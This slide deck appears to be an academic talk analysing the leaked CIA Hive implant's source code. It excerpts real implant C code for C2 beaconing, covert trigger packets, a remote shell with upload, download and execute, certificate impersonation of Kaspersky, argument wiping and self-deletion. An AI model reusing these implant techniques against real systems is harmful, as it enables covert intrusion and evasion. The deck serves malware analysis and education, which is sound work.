# A Tour of the Hive Implant

A Programmer's Perspective

Juan Tapiador, UC3M

# Vaults 7 and 8



# Joshua Adam Schulte

- U.S. Citizen
- Former CIA employee, Computer Engineer and Software Developer
- Age 35 at time of conviction



# **CASE STUDY**

## Espionage

### WHAT HAPPENED

# Former CIA employee sentenced to 40 years in prison after carrying out largest data leak in agency's history

By <u>Rob Frehse</u> and <u>Mark Morales</u>, CNN ② 3 minute read · Published 6:42 PM EST, Thu February 1, 2024



From approximately April of 2016 to November of 2017, a former Central Intelligence Agency (CIA) employee, Joshua Adam Shulte, leaked classified information to WikiLeaks that entailed cyber warfare and electronic surveillance tools developed by the CIA. The classified documents labeled "Vault 7" and "Vault 8" were considered one of the largest orchestrated data breaches in the history of the CIA. It was also attributed as the largest unauthorized disclosure of classified information accounts in U.S. history.

From 2012 to 2016, Shulte was employed as a computer engineer software developer at the CIA's Center for Cyber Inntelligence (CCI). Schulte helped create the hacking tools as a coder at the Operations Support Branch at the agency's headquarters in Langley, Virginia and had administrator privileges to one of the servers that contained the programs used to build cyber tools. It was detected that Schulte abused administrator privileges. As a result, leadership removed his privileges and transferred Schulte to another division. Schulte was also previously given a warning about granting privileges to himself that were previously revoked. Before his privileges were removed, Schulte secretly transmitted stolen CIA files to his custom desktop computer at his residence. Schulte then transferred those files to WikiLeaks and deleted any internal hard drives to cover his tracks. During the FBI's investigation, child pornography, disturbing images from the dark web, and Russian websites were found on Schulte's computer in encrypted files.


Schulte was arrested on August 24, 2017, and in September of 2023, he was found guilty of espionage, computer hacking, contempt of court, making false statements to the FBI and child pornography. On February 1, 2024, Schulte was sentenced to serve 40 years in prison.



# Wikileaks, 2017

## Vault 7 series (24 parts)

 Year Zero, Dark Matter, Marble, Grasshopper, Hive, Weeping Angel Scribbles, Archimedes, AfterMidnight/Assassin, Athena, Pandemic, Cherry Blossom, Brutal Kangaroo, Elsa, OutlawCountry, BothanSpy, Highrise, UCL/Raytheon, Imperial, Dumbo, CouchPotato, ExpressLane, Angelfire, Protego



# Wikileaks, 2017

9 November 2017

## Vault 8 (series? Not really)

- Source code for (some? all?) projects in Vault 7
- Only Vault 8 release was Hive
- Release includes
  - Code repository with development logs
  - User's Guide
  - Engineering Development Guide

### Vault 8

Source code and analysis for CIA software projects including those described in the Vault7 series.

This publication will enable investigative journalists, forensic experts and the general public to better identify and understand covert CIA infrastructure components.

Source code published in this series contains software designed to run on servers controlled by the CIA. Like WikiLeaks' earlier Vault7 series, the material published by WikiLeaks does **not** contain 0-days or similar security vulnerabilities which could be repurposed by others.



#### Releases V Documents V

### **Hive Repository**

The files in this code repository were created between August 2013 and October 2015, but the development of *Hive* started much earlier. Older versions of the code are not available as the previous source code control system (subversion) was not properly migrated to git.

The repository contains the following branches: 'armv5', 'autotools', 'debug', 'dhm', 'makemods', 'master', 'mt6', 'polar-0.14.3', 'polar-1.1.8', 'polar-1.2.11', 'polar-1.3.4', 'solarisbug' and ' ubiquiti'.

#### Downloads



N.B.: The files below originate from the **master** branch of the repository; if you want to access other branches or revisions, please download the zipped repository file and checkout branches and/or revisions on your local computer.

 B
 Client

 B
 common

 B
 honeycomb

 B
 ilm-client

 Makefile

 B
 server

# I believe Hive is interesting because


- It was (presumably) developed for a high-profile TA
- It showcases some elemental second-stage implant techniques
- It is really simple yet it contains some interesting functionality
- It is easy to analyze even for a beginner
- It is full of insights that you do not typically read in an analysis report
- It can demystify preconceived ideas about sophistication of these tools
- It can spark curiosity about how these artifacts work

# Hive architecture

# CONOPS


- Operators need to communicate with implant in a secure manner, meaning
  - Communication must be authenticated and encrypted
  - Communication does not draw attention
  - If implant gets discovered, attributing it is difficult by looking just at the comms
- Reusable infrastructure for multiple operations
  - Using servers rented from commercial hosting providers
  - One or more registered domains/VPS per operation managing implants on target computers
- Implant
  - Multi-architecture, multi-OS
  - Simple functionalities: beaconing, remote shell
  - Self-delete

## **Hive Beacon Operational Infrastructure**



Source: Hive Infrastructure Configuration Guide

## **Hive Beacon Infrastructure**



Source: Hive Infrastructure Configuration Guide

# The implant

## Hive repository & the server

beacon.c beacon.h E B bin2carray bin2carray.sln bin2carray.suo 🗄 😹 bzip client session.c client session.h common utils.h compat.h compression.c compression.h 🗉 🧾 cryptcat E B cryptcat-c-port debug.h farm9crypt.c function\_strings.h getopt.cpp getopt.h ifconfig.c ishell.c launchshell.c main.c Makefile

Makefile.arm

Makefile-include arm

- Makefile-include.linux-x86
- Makefile-include.linux-x86 64
- Makefile-include.mikrotik-mips
- Makefile-include.mikrotik-mipsel
- Makefile-include.mikrotik-ppc Makefile-include.mikrotik-x86
- Makefile-include.solaris-sparc
- Makefile-include.solaris-x86

Makefile.linux-x86 Makefile.linux-x86 64 Makefile, mikrotik-mips Makefile.mikrotik-mipsel Makefile.mikrotik-ppc Makefile mikrotik-x86 Makefile.mipsel Makefile.solaris-sparc Makefile solaris-x86 original serverstrings.txt persistence.h 🕀 🔜 polarssI-0.14.0 polarssl-1.3.4 🕀 🖂 process list.c self delete.c self delete.h server strings.txt shuffle.c stdint.h string utils.c string utils.h survey mac.c survey\_uptime.c transferNewBuildsToClient.bsh trigger callback session.c trigger\_listen.c trigger\_listen.h trigger\_payload.c trigger\_sniff.c trigger sniff.h twofish.c

#### \$ cloc server

79 text files. 76 unique files. 3 files ignored.

#### github.com/AlDanial/cloc v 2.02 T=0.08 s (981.2 files/s, 146280.7 lines/s)

Language	files	blank	comment	code
с	30	1186	1002	5446
C/C++ Header	35	568	305	2067
Text	2	13	0	232
Python	3	36	50	151
make	1	20	24	79
INI	1	0	0	67
Visual Studio Solution	1	1	1	37
Bourne Shell	1	6	5	16
Bourne Again Shell	2	3	2	13
SUM:	76	1833	1389	8108
s I				

#### + 🦰 client + 🙈 common 🗉 📑 honeycomb + 🦰 ilm-client Makefile ± 🦰 server

**Multiple programmers** 

Author: User #142 Date: Thu Jan 8 16:32:20 2015 EST

#### Modify ILM Client Makefile.arch to strip binary

Author: User #142 Date: Wed Dec 17 13:01:07 2014 EST

Commit snapshot for Hive-2.8RC2

Author: User #140 Date: Wed Dec 17 09:40:30 2014 EST

Makefile changes plus a number of other tweaks.

Author: User #142 Date: Thu Dec 11 10:33:46 2014 EST

Consolidation of crypto and random number generator contexts to solve issue with file upload/download.

Author: User #217 Date: Fri Nov 7 14:01:00 2014 EST

Updated documentation with the latest md5sums, latest hivepatcher, and created a snapshot\_20141107-1345 directory with the latest builds.

}

## **Multiple programmers**

- Different stylometry, even within the same source code file
  - e.g. markTermination() vs. shred\_file() in self\_delete.c
- Obvious in some comments

```
else {
    printf("Unknown error\n");}
);
// we can return from here. no need to goto to bottom of function because
// at this stage, there is nothing to clean-up
// return FAILURE;
// Don't think that is true you have allocated all of your beacon info
// however it just couldn't connect out; lets clean up.
retval = FAILURE;
goto EXIT;
```

Q

## **Multiplatform**

Linux, Solaris, MikroTik, Windows for several architectures (x86, SPARC, MIPS-BE, MIPS-LE, PowerPC)

#ifdef SOLARIS
/\* Solaris specific piece of code \*/
#elif LINUX
/\* Linux specific piece of code \*/
#endif


Q

## Debug code

#ifdef DEBUG
/\* Do something that only makes sense when debugging \*/
#endif

DL(l, x) macro, defined in common/debug/debug.h:24

## Ongoing, evolving, unfinished - like all software



## Implant key

Double SHA-1 of key phrase.

Key phrase can be read from a file or entered on the command line as an arg

main.c:298


```
sha1_file((const char *)optarg, ikey); // Generate the ID key
DLX(1, displaySha1Hash ("Trigger Key", ikey));
sha1(ikey, ID_KEY_HASH_SIZE, ikey); // Generate the implant key
DLX(1, displaySha1Hash ("Implant Key", ikey));
DLX(1, printf("\n\n\n" ));
```

# Running the implant

### server/main.c

```
Q
static void printUsage(char* exeName)
       printf("\n\tUsage:\n\n");
       printf("\t%s -a <address> -i <interval>\n\n". exeName):
                                          - beacon IP address to callback to\n");
       printf("\t\t-a <address>
                                        - beacon port (default: 443)\n");
       printf("\t\t-p <port>
       printf("\t\t-i <interval>
                                          - beacon interval in seconds\n"):
                                          - implant key phrase\n");
       printf("\t\t-k <id key>
       printf("\t\t-K <id key>
                                          - implant key file\n");
       printf("\t\t-j <jitter>
                                          - integer for percent jitter (0 \le jitter \le 30, default: 3 )\n"):
       printf("\t\t-d <beacon delay>
                                          - initial beacon delay (in seconds, default: 2 minutes)\n");
                                          - delay between trigger received and callback +/-30 seconds (in seconds)\n");
       printf("\t\t-t <callback delay>
       printf("\t\t-s <self-delete delay> - since last successful trigger/beacon (in seconds, default: 60 days)\n");
       printf("\t\t-S <IP1>[,<IP2>]
                                          - DNS server IP address(es) in dotted guad notation (required if beacon address
       printf("\n\t\t-P <file path>
                                          - directory path for .config and .log files (120 chars max)\n");
#ifdef DEBUG
       printf("\n\t\t-D <debug level>
                                          - debug level between 1 and 9, higher numbers are more verbosen";
#endif
       printf("\t\t-h
                                          - print this help menu\n");
       printf( "\n\tExample:\n" );
       printf( "\t\t./hived-mikrotik-mips -a 10.3.2.76 -p 9999 -i 3600 -k Testing\n" );
       printf("\n");
       return;
}
```

## Two basic functions: beacons & interactive shell



### server/main.c

D

```
int main(int argc, char** argv)
{
        init_strings();
                               // De-scramble strings
       // Check to see if we have sufficient root/admin permissions to continue.
       // root/admin permissions required for RAW sockets and [on windows] discovering
       // MAC address of ethernet interface(s)
       if ( is_elevated_permissions() != SUCCESS ) {
                fprintf(stderr,"%s", inp183Aq );
                return 1;
        }
       //initialize srand only once using the initSrandFlag...
    if (!initSrandFlag) {
        srand((unsigned int)time(NULL));
        initSrandFlag = 1;
    }
        if (args.patched == 1) {
               // Binary was patched -- all patched times should already be in milliseconds
                [get all parameters]
                goto patched binary;
       } else {
                beaconInfo.port = DEFAULT BEACON PORT;
                beaconInfo.percentVariance = DEFAULT_BEACON_VARIANCE;
        }
```

### server/main.c

```
// process options
      //while(EOF != (c = getopt(argc, argv, OPT_STRING)))
      while((c = getopt(argc, argv, ohshsmdlas3r)) != -1)
       {
              switch(c)
             {
                     [standard getopt loop switch]
              3
       3
      // Process environment variables, if needed
       [make sure beacon parameters are okay]
       clean_args(argc, argv, NULL); // Zero command line arguments
patched_binary: // Parsing of command line arguments skipped for patched binaries
       [make sure other beacon parameters are okay]
       [check valid DNS is provided if beacon is given as a domain name]
      // Construct self delete control and log files with full path names
      if (strlen((const char *)sdcfp) == 0) {
                    strcpy(sdcfp, (const char *)sddp);
                                                             // If the path wasn't specified use the defail
       3
```

```
if (sdcfp[strlen(sdcfp)] != '/') // If the path is missing a trailing '/', add it.
        strcat(sdcfp, "/");
strcpy(sdlfp, sdcfp); // Duplicate the path for the log file
strcat(sdcfp, (const char *)sdc); // Add .control filename
strcat(sdlfp, (const char *)sdl); // Add .log filename
```

if (stat((char \*)sdcfp, &st ) != 0) {

## server/main.c

```
// TODO: Self-delete if this file cannot be opened for writing and use an exit code that's meaningful
                f = fopen( (char *)sdcfp,"w" );
                if ( f == NULL ) {
                        DLX(1, perror("fopen()"));
                        DLX(1, printf("\tCould not create file %s\n", (char *)sdcfp));
                        exit(0);
                }
                fclose(f);
        } else {
                DLX(1, printf("\"%s\" file already exists\n", (char *)sdcfp ));
        }
#ifndef DEBUG
        status = daemonize();
                                // for Linux and Solaris
        if (status != 0) {
                exit(0);
                              //parent or error should exit
        }
#endif
```

## server/main.c

```
if (beaconInfo.initDelay > 0) {
                // create beacon thread
                DLX(1, printf( "Calling BeaconStart()\n"));
                retVal = beacon_start(&beaconInfo);
                if (0 \mid = retVal) {
                        DLX(1, printf("Beacon Failed to Start!\n"));
                }
        } else {
                DLX(1, printf("ALL BEACONS DISABLED, beaconInfo.initDelay <= 0.\n"));</pre>
        }
        // delete delay
        DLX(1, printf("Self delete delay: %lu.\n", delete_delay));
#ifndef __VALGRIND__
        DLX(2, printf( "\tCalling TriggerListen()\n"));
        (void)TriggerListen(trigger_delay, delete_delay);
                                                                  //TODO: TriggerListen() doesn't return a meaningful v
#endif
```

return 0;
}

# Beacons

## beacon\_start (simplified)

{

}

### server/beacon.c

int beacon\_start(BEACONINF0 \*beaconInfo) int numTries = 0; while (numTries != 5) { if (GetMacAddr(beaconInfo->macAddr) != SUCCESS) { numTries++; if (numTries == 5) { DLX(1, printf("ERROR: failed to pull MAC address\n")); return FAILURE; } } else { break; 3 sleep(60); // Sleep for 1 minute } if (make\_thread(beacon, (void \*) beaconInfo) != SUCCESS) { DLX(1, printf(" ERROR: failed to create beacon thread\n")); return FAILURE; } return SUCCESS;

C

## void \*beacon(void \*param)

#### server/beacon.c

```
Q
void *beacon(void *param)
        . . .
       DLX(4, printf("\nStarting beacon with the following parameters:\n"));
       DLX(4, printf("\t%32s: %-s\n", "Beacon Server", beaconInfo->host));
       DLX(4, printf("\t%32s: %-d\n", "Beacon Server Port", beaconInfo->port));
       DLX(4, printf("\t%32s: %-s\n", "Primary DNS Server IP Address", beaconInfo->dns[0]));
       DLX(4, printf("\t%32s: %-s\n", "Secondary DNS Server IP Address", beaconInfo->dns[1]));
       DLX(4, printf("\t%32s: %-lu\n", "Initial Beacon Delay (sec)", beaconInfo->initDelay));
       DLX(4, printf("\t%32s: %-i\n", "Beacon Interval (sec)", beaconInfo->interval));
       DLX(4, printf("\t%32s: %-f\n\n", "Beacon Variance", beaconInfo->percentVariance));
        {
               // Determine the initial beacon delay
                initial_beacon_delay = beaconInfo->percentVariance > 0 ?
                        beaconInfo->initDelay + calc jitter(beaconInfo->initDelay, beaconInfo->percentVariance) :
                        beaconInfo->initDelay;
               sleep(initial beacon delay);
        3
        for (::) {
                               // Beacon Loop
                secondsUp = GetSystemUpTime(); // Get system uptime
                if (beaconInfo->percentVariance > 0) {
                        // Get jitter and calculate new interval
                        iitter = calc iitter(beaconInfo->interval, beaconInfo->percentVariance);
                        beaconInterval = beaconInfo->interval + jitter;
                } else {
                        beaconInterval = beaconInfo->interval;
                }
```

## void \*beacon(void \*param)

### server/beacon.c

```
// Resolve beacon IP address
        // Determine if beacon host is a name or dotted-quad address
        if (inet_pton(AF_INET, beaconInfo->host, &beaconIPaddr) <= 0) {
                for (i = 0; i < 2; i++) {
                       if (strlen(beaconInfo->dns[i]))
                                if ( (beaconInfo->ip = dns_resolv(beaconInfo->host, beaconInfo->dns[i])) )
                                        break;
                }
                if (beaconInfo->ip == NULL) {
                       DLX(4, printf("\tBeacon host could not be resolved.\n"));
                       goto sleep;
                                               // Try again next beacon interval
               } else {
                       DLX(4, printf("\tBeacon IP resolved to: %s\n", beaconInfo->ip));
       } else
                // IF beaconInfo-> host was an IP address, clone it (so it can be freed later)
                beaconInfo->ip = strdup(beaconInfo->host);
        // TODO: SendBeaconData does not handle errors returned
        DLX(4, printf("\tSending beacon\n"));
        if (send_beacon_data(beaconInfo, secondsUp, beaconInterval) == SUCCESS) {
                update file((char *) sdcfp);
       } else {
                DLX(4, printf("\tSend of beacon failed\n"));
        Free(beaconInfo->ip);
sleep:
       DLX(4, printf("\tSending next beacon in %d seconds.\n", beaconInterval));
        sleep(beaconInterval); // Sleep for the length of the interval
}
return (void *) NULL;
```

## Beacon data

C

## Large function populating the beacon with host data and sending (SSL) it

...

//beacon packet structs
BEACON\_HDR bhdr;
ADD\_HDR mac\_hdr;
ADD\_HDR uptime\_hdr;
ADD\_HDR proc\_list\_hdr;
ADD\_HDR ipconfig\_hdr;
ADD\_HDR netstat\_rn\_hdr;
ADD\_HDR netstat\_an\_hdr;
ADD\_HDR next\_beacon\_hdr;
ADD\_HDR end\_hdr;

# Running commands

The natural way.

Other host data obtained differently.

```
server/run_command.c
```

{

}

```
int run_command(unsigned char* cmd, unsigned char* buf, int* size)
        [...]
        if( (pPipe = _popen((char *)cmd, popen_opts)) == NULL)
        {
                perror( " popen():" );
                D(printf(" Error!\n");)
                return -1;
        }
        [...]
        while(fgets(temp, CMD_BUFF_BYTES_TO_READ, pPipe))
        {
                total += strlen(temp);
                if(total <= *size)</pre>
                        memcpy(ptr, temp, strlen(temp));
                        ptr += strlen(temp);
                memset(temp, 0, CMD BUFF DEFAULT SIZE);
        }
        _pclose(pPipe);
        [...]
        return 0;
```

# Beaconing protocol (simplified)

//setup ssl
beacon\_io = crypt\_setup\_client(&sock)

//set swindle flag to true beacon\_io->ssl->use\_custom = 1; beacon\_io->ssl->tool\_id = TOOL\_ID; beacon\_io->ssl->xor\_key = TOOL\_ID\_XOR\_KEY;

//perform an SSL handshake
crypt\_handshake(beacon\_io)

```
//turn off the ssl encryption since we use our own
beacon_io->ssl->do_crypt = 0;
//generate 32 random bytes
generate_random_bytes(randData, 64);
//embed the data size so the server knows how much data to read
embedSize(encrypt_size, randData);
```

//send the bytes
crypt\_write(beacon\_io, randData, 64)

//receive the buffer
retval = recv(sock, (char \*) randData, 37, 0);

//extract the key
extract\_key(randData + 5, key);

//encrypt the beacon data with the extracted key
encrypt\_data(packet, packetSize, enc\_buf, key);


// Send encrypted data

#### do {

// Embed the data size so the server knows how much data to read sz\_to\_send = (encrypt\_size - bytes\_sent) >= MAX\_SSL\_PACKET\_SIZE ? MAX\_SSL\_PACKET\_SIZE : encrypt\_size - byt retval = crypt\_write(beacon\_io, enc\_buf + bytes\_sent, sz\_to\_send); // Receive ACK retval = recv(sock, recv\_buf, 30, 0); recv\_sz = atoi(recv\_buf + (sizeof(SSL\_HDR))); bytes\_sent += recv\_sz; } while (bytes\_sent < encrypt\_size);</pre>

### server/beacon.c

// close connection & cleanup




# Triggers

- Signal to wake up the implant and establish an interactive session
- 7 types

істр	ping-request ping-reply icmp-error	5-6 packets 5-6 packets 1 packet	
udp	dns-request tftp-wrq raw-udp	1 packet 1 packet 1 packet	any port
tcp	raw-tcp	1 packet (+ tcp handshake)	any open port

- Once the implant gets a valid trigger, it pulls the callback IP address and port from the packet, waits a little bit, and establishes a TLS session

# Triggers up to version 2.5



The twelve byte trigger is encoded by XORing the 1-byte XOR value with the first five bytes of the trigger and the remaining trigger bytes or XORed with 0xB6.

0	1	2	3	4	5	6	7	8	9	10	11
 XOR key	Connect-back IP address				ort nber	Random Data			CRC		

Common trigger format

# TriggerListen() - simplified

server/trigger\_listen.c

```
D
int TriggerListen( char *iface, int trigger_delay, unsigned long delete_delay )
        . . .
        socket fd = dt get socket fd( iface );
       while(1)
        {
               if((counter % 100) == 0)
                       check_timer((char*)sdfp, delete_delay);
               3
               packet length = recvfrom( socket fd, packet buffer, MAX PKT, 0,
                                (struct sockaddr *) &packet_info, (socklen_t *) &packet_info_size ) ) == FAILURE )
               if ( dt signature check( packet buffer, packet length, &recvd payload) != FAILURE )
                {
                        payload to trigger info(&recvd payload, tParams)
                       sha1(tParams->idKey hash, ID KEY HASH SIZE, recvdKey);
                       // Compare keys. Trigger if identical; otherwise continue waiting for a match.
                       if ( memcmp(recvdKey, ikey, ID KEY HASH SIZE) )
                                tParams->delay = trigger_delay;
                                update_file((char*)sdfp);
                               // Create child process... only the parent returns...the child will exit when finished.
                                start_triggered_connect(tParams);
                                fork_process( start_triggered_connect, (void *)tParams)
                               // main trigger thread loops to continue listening for additional trigger packets
                        }
               3
```

# TriggerCallbackSession()

## server/trigger\_callback\_session.c

```
int TriggerCallbackSession( char *ip, int port )
{
    // set alarm for connect
    signal(SIGALRM, connect_alarm);
    // connect to client
    net_connect(&sock, ip, port)
    // connect was successful so disable alarm
    alarm(0);
    retval = StartClientSession( sock );
}
```

### StartClientSession()

Simplified

} // Send crypt\_wi }

server/client\_session.c

unsigned long StartClientSession( int sock )

[TLS handshake + AES tunnel]

#### while(!fQuit)

{

// Get command, waiting up to SESSION\_TIMEOUT seconds between commands. // If a command is not received before the timeout expires, exit. // This timeout is reset each time a command is received. alarm( SESSION\_TIMEOUT );

crypt\_read(cp, (unsigned char \*)&cmd, sizeof(COMMAND))

```
switch(cmd.command) {
        case 0:
        case EXIT:
                DLX(2, printf("EXIT command received.\n"));
                fQuit = 1;
                ret.reply = 0;
                break;
        case UPLOAD:
                DLX(2, printf("UPLOAD command received.\n"));
                ret.reply = UploadFile(commandpath, ntohl(cmd.size),sock);
                break;
        case DOWNLOAD:
               DLX(2, printf("DOWNLOAD command received.\n"));
                ret.reply = DownloadFile(commandpath, ntohl(cmd.size), sock);
                break;
        case EXECUTE:
                DLX(2, printf("EXECUTE command received.\n"));
                memset((unsigned char *)&ret, '\0', sizeof(REPLY));
                                                                       //Clear up the reply...
                ret.reply = Execute( commandpath );
               break;
         [...]
// Send reply
crypt_write(cp, (unsigned char*)&ret, sizeof(ret))
```


[some cleanup]

# **Trigger Resignaturing**

### Detectability issues in triggers up to version 2.5

- DNS, ICMP, and TFTP can be easily signatured
  - XOR key is always zero!
- TCP and UDP triggers do not adhere to to their respective protocol standards
- TCP and UDP trigger have consistent packet sizes
  - 74-74-66-70-66-466-66-66-54 immutable sequence
  - The 466-byte packet size stands out
- Solutions (version 2.6)
  - DNS and TFPT hard to fix (covers with little room for inserting triggers)
  - ICMP, TCP, and UDP triggers resignatured

### Raw TCP/UDP trigger in Hive version 2.6.3



The twenty eight byte trigger payload is encoded by computing an offset of CRC % 60 into the CRC random data field and XORing each of the twenty eight following bytes with the corresponding byte of the trigger payload.

 0	1	2	3	4	5	6	7	26	27	28
Obf. Seed	Call-back IP address		Call-back Port Number		SHA-1(ID Key)		Trigger Payload CRC			

The obfuscation seed (byte 0) is required for obfuscating the payload when used with triggers other than the raw TCP/UDP triggers.

### More issues

- ICMP triggers require **hived** to run with root privileges
- ICMP triggers often get filtered out
  - Some ISPs block ICMP error messages
  - Also some default firewall policies
- Which interface should you listen to?
  - Linux, MikroTik: all of them
  - Windows: whatever it says its the primary network iface
  - Solaris: you have to pick one
- UDP triggers and Windows 2000
  - Microsoft KB Archive/890856

A program that uses raw sockets may not see incoming UDP packets in Windows 2000							
Article ID: 890856	CAUSE						
Article Last Modified on 10/26/2006	This problem occurs because the TCP/IP stack lacks the code that is required to handle this scenario correctly.						

## Extra OPSEC

## client.crt

 Implants authenticate using TLS Optional Client Authentication

- Weird design choice!

Certificate: Data: Version: 3 (0x2) Serial Number: 2 (0x2) Signature Algorithm: sha1WithRSAEncrvption Issuer: C=ZA, ST=Western Cape, L=Cape Town, O=Thawte Consulting cc, OU=Certification Services Division, CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com Validitv Not Before: Sep 30 20:27:29 2010 GMT Not After : Sep 24 20:27:29 2035 GMT Subject: C=RU, O=Kaspersky Laboratory, CN=www.kaspersky.com Subject Public Kev Info: Public Kev Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:aa:56:72:ef:c4:8c:9a:47:d9:6f:b5:a8:9e:6f: 19:25:98:81:72:40:1c:7f:08:32:6d:d1:93:32:5b: ee:33:30:01:ed:29:09:68:af:fc:1e:4c:b3:b8:b9: 4b:99:d9:9f:9b:2a:60:55:af:e1:e4:69:5b:b3:b3: c9:2e:07:9e:49:0f:dd:35:da:43:ca:11:54:da:6e: 99:7e:cf:4a:59:1d:16:8f:4d:e9:0d:d6:14:e7:f7: fd:0b:d1:9e:9b:e9:89:14:e3:df:89:e5:03:55:96: 52:85:bc:69:9d:2d:bb:2c:11:cf:63:b0:46:3a:28: 4e:d0:eb:94:32:f5:99:d9:8c:93:b1:2b:ad:e5:cf: 00:d8:3b:81:b0:8a:e1:ad:20:58:57:4d:39:5e:68: 44:d4:7c:75:b5:8a:fa:91:6d:0d:94:62:07:f6:e3: 95:a4:ea:75:29:3c:cd:55:e9:29:53:bf:8e:0d:f6: fd:65:6c:14:a5:c0:83:2b:67:07:ea:98:48:08:55: 99:91:91:79:5d:dd:0f:96:b3:fe:2c:18:38:37:00: 02:bc:07:9f:c2:a3:06:8d:1d:eb:22:f0:0e:99:05: 19:d3:e0:fc:8e:cc:b4:f8:83:51:e5:dc:64:82:a6: d7:5d:75:c6:bd:a4:d4:de:df:b6:a1:a9:0c:c2:d2: ce:7f Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA: FALSE X509v3 Subject Key Identifier: B0:56:99:81:7C:87:D0:3F:10:CF:99:0E:6E:9E:39:B4:1E:C5:53:B0 X509v3 Authority Kev Identifier: DirName:/C=ZA/ST=Western Cape/L=Cape Town/O=Thawte Consulting cc/OU=Certification Services Division/CN=Thawte Premium Server CA/emailAddress=premium-server@thawte.com serial:01 Signature Algorithm: sha1WithRSAEncryption 20:a7:6f:21:a5:0a:5f:a7:b5:c6:95:fe:25:d7:4a:49:a1:16: 50:99:47:aa:14:10:30:2f:58:f5:36:b6:b0:de:1d:e8:61:5d: 70:4a:73:95:85:9f:fa:02:7c:cd:e4:3a:6f:1c:cd:9b:de:eb:

### **Obfuscation of function names**

#### server/function\_strings.h


#define release\_netstat\_rn rnwaetr
#define release\_process\_list drtie5wf
#define release\_netstat\_an dftr7itd7i
#define release\_ifconfig sruiwi5rs6

//self delete
#define self\_delete kfoyphs
#define check\_timer kasgr453j
#define update\_file uasgrwlwt456

//lauchShell
#define launchShell lsirter5

D

### **Obfuscation of function names**



#### Notes

The symbol table section is not removed if it is contained within a segment or if the file is a relocatable object.

https://docs.oracle.com/cd/E86824\_01/html/E54763/strip-1.html

### Removal of command line arguments

server/main.c

Q

// for Linux and Solaris, zeroize command line arguments
 clean\_args( argc, argv, NULL );

### Removal of command line arguments

Q

```
#if defined LINUX
static void clean_args( int argc, char **argv, char *new_argv0 )
ł
   unsigned int
                     maxlen argv0 = 0;
       unsigned int len = 0;
   int
                            n;
       DLX(3, printf("\tLINUX => Attempting to clean command line arguments\n"));
   for (n = (argc - 1); n > 0; n--)
   {
       len = strlen( *(argv + n) );
       DLX(3, printf( "\tCleaning argument #%d with length %d: %s\n", n, len, *(argv + n) ));
       memset( *(argv + n), 0, len );
       maxlen argv0 += len;
   }
       DLX(3, printf( "\tMax ARGV0 length is %d bytes\n", maxlen_argv0 ));
   if ( ( new_argv0 != NULL ) && ( strlen( new_argv0 ) < maxlen_argv0 ) )
   {
       memset( *argv, 0, maxlen_argv0 );
       strcpy( *argv, new argv0 );
   3
   return;
#elif defined SOLARIS
```

### Self-delete

### server/self\_delete.c

<pre>void check_timer(char* filepath, unsigned long delete_delay) {     struct stat st;     int ret;     time_t timediff;</pre>	
<pre>time_t timediff; ret = _stat( filepath, &amp;st ); if ( ret &lt; 0 ) { // TOD0: return error, exit? //Do not want to exit, this will stop the process and leave the executable //Added a self_delete, if you can't stat the file, it's gone as well as ou DLX(1, printf("No time file exists, self_delete will occur now\n")); #if defined LINUX    SOLARIS markTermination((char *)sdfpl); #endif self_delete(); exit( 0 ); } else if ( ret == 0 ) { timediff = time( NULL ) - st.st_mtime; // D( printf( " DEBUG: %s, %d: Current time = %ld, File time = %ld, delta if ( timediff &gt;= 0) { if ( timediff &gt; (time_t)delete_delay )</pre>	<pre>void self_delete() {     char* self;     self = calloc(512,1);     //Don't shred the configuration file, use contents to determine when self_delete executed     // shred the configuration file     //D( printf (" DEBUG: shredding configuration file\n" ); )     //shred_file((char*)sdfp);     //ret = readlink( "/proc/self/exe", self, 511);     (void) readlink( (char*)sdp, self, 511);     DLX(3, printf("readlink reads =&gt; %s\n", self));     // shred self     DLX(1, printf ("shredding self\n"));     shred_file(self);     if(self != NULL)     {         free(self);       }     } </pre>
return; }	<pre>exit(0); }</pre>

### The premature death of implants v2.5

- Operators discovered that some implants v2.5 were self-destroying prematurely
- Why?
  - (current time time of last contact) > self-delete threshold
  - Actually the difference was VERY large
- Cause

## The premature death of implants v2.5

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- Why?
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  - Actually the difference was VERY large
- Cause
  - Some systems do not have stable or reliable clocks. Many scenarios:
    - Clock back to epoch (00:00:00, January 1, 1970) after reboot
    - On some Windows, uptime reset to zero if the system has been up for 49 days
    - Some devices do not sync with NTP server after reboot
    - Some sync with NTP but a while after reboot (race condition here)
  - Time difference was cast from int to unsigned long int
- Fix never implemented

## That's a wrap for today

## Parting thoughts

- Do you want to try it yourself?
  - Fork the repo
  - Experiment with it
  - Try new ideas
- One key takeaway
  - Basic functionality is easy (there are 10s of C2 frameworks)
  - Details make a big difference
  - Some of them are complicated
- We are no longer in 2010
  - Yet xddr33 (360 netlab, January 2023)
  - See tools and ops by Longhorn / APT-C-39 / The Lamberts

## Thank you for listening.

Questions? Comments? Thoughts?